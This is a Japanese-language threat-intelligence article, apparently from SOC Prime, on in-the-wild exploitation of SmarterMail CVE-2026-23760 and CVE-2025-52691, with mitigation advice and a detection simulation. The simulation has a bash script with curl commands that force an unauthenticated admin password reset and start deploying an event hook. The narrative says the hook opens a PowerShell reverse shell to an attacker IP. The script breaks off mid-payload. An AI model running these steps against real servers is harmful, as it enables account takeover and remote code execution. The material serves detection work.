SOC Prime Bias: クリティカル

04 Feb 2026 13:59 UTC

脆弱性への追跡:HuntressがSmarterMailアカウント乗っ取りからRCEに繋がる事例を発見

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
脆弱性への追跡:HuntressがSmarterMailアカウント乗っ取りからRCEに繋がる事例を発見
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

要約

Huntressは、特権アカウントの乗っ取りや、最終的にはリモートコード実行を可能にするSmarterMailの2つの欠陥の野外での悪用を観察しました。攻撃者は認証されていないパスワードリセットの流れを開始して特権トークンを取得し、次にSmarterMailの「システムイベント」を悪用してホスト偵察のためのコマンドを実行します。この活動は複数の顧客に影響を与え、広範囲で自動化された大規模な悪用の兆候を示しました。

調査

Huntressのアナリストは、パスワードリセットをトリガーし、認証し、システムイベントを構成し、攻撃者が管理するドメインを追加し、その後痕跡を消すために使用されたSmarterMail APIエンドポイントに対する一貫したHTTP POSTリクエストのシーケンスを再構築しました。このチェーンはCVE-2026-23760(特権アカウント乗っ取り)とCVE-2025-52691(任意ファイルアップロード)を対象としています。リクエストは一般的にpython-requests/2.32.4 ユーザーエージェントを使用し、オペレーターは偵察出力を含むresult.txtファイルを残しました。

緩和策

両方のCVEに対処するためにSmarterMailをビルド9511以降にアップグレードします。APIの公開を見直し、緩め、不要なシステムイベントを無効にするか制限し、アカウント、イベント、またはドメインの変更を伴う異常なAPI活動を監視します。攻撃者が作成したシステムイベントやドメインを特定し、削除して持続を排除します。

対応

疑わしいAPIコールパターンとpython-requests/2.32.4ユーザーエージェントを探し出し、不正なソースIPをブロックし、悪意のあるシステムイベントを削除します。特権証明書を直ちに回転させます。エンドポイントフォレンジックスを実行してresult.txtを見つけ、追加のペイロードが準備されているかどうかを確認します。影響を受けたユーザー/顧客に通知し、明確な修復指示を提供します。

攻撃フロー

シミュレーション実行

前提条件: テレメトリー&ベースラインの準備フライトチェックが合格していること。

攻撃の物語とコマンド

  1. 偵察: 攻撃者がSmarterMailインスタンスがCVE‑2026‑23760に脆弱なバージョンで動作していることを発見する。
  2. パスワード強制リセット (T1098): 認証されていない force-reset-password エンドポイントを使用して、特権の admin アカウントの既知のパスワードを設定する。
  3. 認証 (T1078): 新たに設定された認証情報を使って authenticate-user エンドポイントでログインし、セッショントークンを取得する。
  4. 悪意のあるイベントフックのデプロイ (T1569): PowerShellリバースシェルを攻撃者のサーバーからホストするように指示したJSONペイロードを event-hook にPOSTする。
  5. 実行のトリガー: event-hookはウェブサーバー上で自動的に動き、攻撃者にリバースシェルを生成する。
  6. クリーンアップ: 検出から除外された event-hook-delete エンドポイント経由で悪意のあるフックを削除する。

すべてのステップが、Sigmaルールの 選択 基準と一致するHTTP POSTイベントを生成する。

回帰テストスクリプト

#!/usr/bin/env bash
# -------------------------------------------------
# SmarterMailアカウント乗っ取り&RCEシミュレーション
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"
# 1. パスワードの強制リセット(認証なし)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
    -H "Content-Type: application/json" 
    -d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"
# 2. セッショントークンの認証と取得
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
       -H "Content-Type: application/json" 
       -d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}" 
       | jq -r '.sessionToken')
# 3. 悪意のあるイベントフックのデプロイ(RCE)
PAYLOAD=$(cat <

クリーンアップコマンド

#!/usr/bin/env bash
# 残存する悪意あるフックを削除し、管理者パスワードをリセットします
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"
# 安全なパスワードで認証(既知の場合)または前のトークンを使用して
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}" 
        | jq -r '.sessionToken')
# 悪意のあるイベントフックを削除(まだ存在する場合)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
    -H "Authorization: Bearer ${TOKEN}"
# 管理者パスワードを既知の良好な値にリセットする
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
    -H "Content-Type: application/json" 
    -d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"